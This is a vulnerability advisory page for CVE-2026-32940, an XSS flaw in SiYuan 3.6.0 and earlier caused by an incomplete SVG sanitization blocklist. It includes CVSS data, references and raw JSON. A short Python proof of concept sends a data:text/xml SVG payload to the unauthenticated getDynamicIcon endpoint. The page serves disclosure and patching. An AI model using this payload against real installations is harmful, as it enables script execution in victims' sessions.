Security Vulnerability Report
中文
CVE-2026-32940 CVSS 9.3 CRITICAL

CVE-2026-32940

Published: 2026-03-20 04:16:49
Last Modified: 2026-03-23 18:22:50

Description

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, SanitizeSVG has an incomplete blocklist — it blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml, both of which can render SVG with JavaScript execution. The unauthenticated /api/icon/getDynamicIcon endpoint serves user-controlled input (via the content parameter) directly into SVG markup using fmt.Sprintf with no escaping, served as Content-Type: image/svg+xml. This creates a click-through XSS: a victim navigates to a crafted URL, sees an SVG with an injected link, and clicking it triggers JavaScript via the bypassed MIME types. The attack requires direct navigation to the endpoint or <object>/<embed> embedding, since <img> tag rendering in the frontend doesn't allow interactive links. This issue has been fixed in version 3.6.1.

CVSS Details

CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:* - VULNERABLE
SiYuan <= 3.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-32940 # The endpoint /api/icon/getDynamicIcon takes a 'content' parameter. # Due to incomplete sanitization, data:text/xml is allowed. import requests target_url = "http://target-ip:6806/api/icon/getDynamicIcon" payload = '''<svg xmlns="http://www.w3.org/2000/svg"> <a xlink:href="data:text/xml,<script>alert('XSS')</script>"> <text x="10" y="20" font-size="20">Click Me</text> </a> </svg>''' # Send request params = {"content": payload} response = requests.get(target_url, params=params) print(f"Status Code: {response.status_code}") print(f"Content-Type: {response.headers.get('Content-Type')}") print("If the user clicks the rendered image, XSS will trigger.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32940", "sourceIdentifier": "[email protected]", "published": "2026-03-20T04:16:49.367", "lastModified": "2026-03-23T18:22:49.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, SanitizeSVG has an incomplete blocklist — it blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml, both of which can render SVG with JavaScript execution. The unauthenticated /api/icon/getDynamicIcon endpoint serves user-controlled input (via the content parameter) directly into SVG markup using fmt.Sprintf with no escaping, served as Content-Type: image/svg+xml. This creates a click-through XSS: a victim navigates to a crafted URL, sees an SVG with an injected link, and clicking it triggers JavaScript via the bypassed MIME types. The attack requires direct navigation to the endpoint or <object>/<embed> embedding, since <img> tag rendering in the frontend doesn't allow interactive links. This issue has been fixed in version 3.6.1."}, {"lang": "es", "value": "SiYuan es un sistema de gestión de conocimiento personal. En las versiones 3.6.0 e inferiores, SanitizeSVG tiene una lista de bloqueo incompleta — bloquea data:text/html y data:image/svg+xml en atributos href pero omite data:text/xml y data:application/xml, ambos de los cuales pueden renderizar SVG con ejecución de JavaScript. El endpoint no autenticado /API/icon/getDynamicIcon sirve entrada controlada por el usuario (a través del parámetro content) directamente en el marcado SVG usando fmt.Sprintf sin escape, servido como Content-Type: image/svg+xml. Esto crea un XSS de clic: una víctima navega a una URL manipulada, ve un SVG con un enlace inyectado, y al hacer clic en él se activa JavaScript a través de los tipos MIME omitidos. El ataque requiere navegación directa al endpoint o incrustación de /, ya que la renderización de la etiqueta en el frontend no permite enlaces interactivos. Este problema ha sido solucionado en la versión 3.6.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-184"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.1", "matchCriteriaId": "E1AA6470-222A-4841-A487-DF65F9859780"}]}]}], "references": [{"url": "https://github.com/advisories/GHSA-6865-qjcf-286f", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/siyuan-note/siyuan/commit/d01d561875d4f744e9f6232f1d4831e3642b8696", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4mx9-3c2h-hwhg", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}